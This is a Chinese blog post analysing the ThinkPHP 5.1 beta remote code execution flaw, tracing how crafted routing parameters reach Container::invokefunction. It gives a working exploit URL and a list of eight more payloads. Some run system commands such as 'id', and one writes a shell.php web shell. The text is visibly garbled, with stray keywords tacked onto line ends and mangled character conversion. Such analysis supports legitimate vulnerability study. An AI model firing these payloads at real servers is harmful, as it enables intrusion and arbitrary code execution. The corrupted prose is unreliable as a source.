thinkphp5遠程代碼執行漏洞分析(一)

payload

測試版本thinkphp5.1betaphp

url => http://127.0.0.1/thinkphp5.1beta/public/index.php?s=index/\think\Container/invokefunction&function=call_user_func&vars[0]=phpinfo&vars[1]=1html

漏洞分析web

查閱了網上的分析資料,直接定位到漏洞造成的直接代碼Module.php 第124行:thinkphp

 

傳入的參數在124行生成了think\container類中的invokefunciton方法,該方法會生成一個函數並調用。shell

而傳入參數$vars爲咱們get中傳入的內容。反向跟蹤$call和$vars變量windows

在108行以$instance實例做爲元素。繼續反向查看,能夠發如今第93行被實例化。服務器

 深刻查看$this->app->controller。thinkphp5.1beta\thinkphp\library\think\App.php第463行app

當檢測到路由信息中有\後調用$this->request->module()方法,該方法會先判斷該類是否存在,存在的話生成該類實例函數

 

其中$controller從參數中提取出來的。thinkphp5

 

分析堆棧,url.php第26行

能夠看到,咱們傳入的路由信息被parseUrl解析後傳給了Module類實例化運行了run()方法。

注意:

網上payload還有不少,由於漏洞的利用主要是找源碼中存在的能夠利用的類,用其生成方法並傳入參數執行。

好比:https://www.chabug.org/web/613.html中羅列的

1.?s=index/\think\Request/input&filter=phpinfo&data=1
二、?s=index/\think\Request/input&filter=system&data=id
三、?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
四、?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
五、?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
六、?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
七、?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
八、?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

可是要你的thinkphp版本中要確實存在該類,而且對方服務器系統不能是windows,由於在class_exist判斷類是否存在的時候,若命令空間不爲\think\xxx ,win系統會把類名小寫化後去嚴格根據大小寫判斷該類的對應文件是否存在,而在thinkphp中文件均以大寫開頭,因此會判斷該類不存在

相關文章
相關標籤/搜索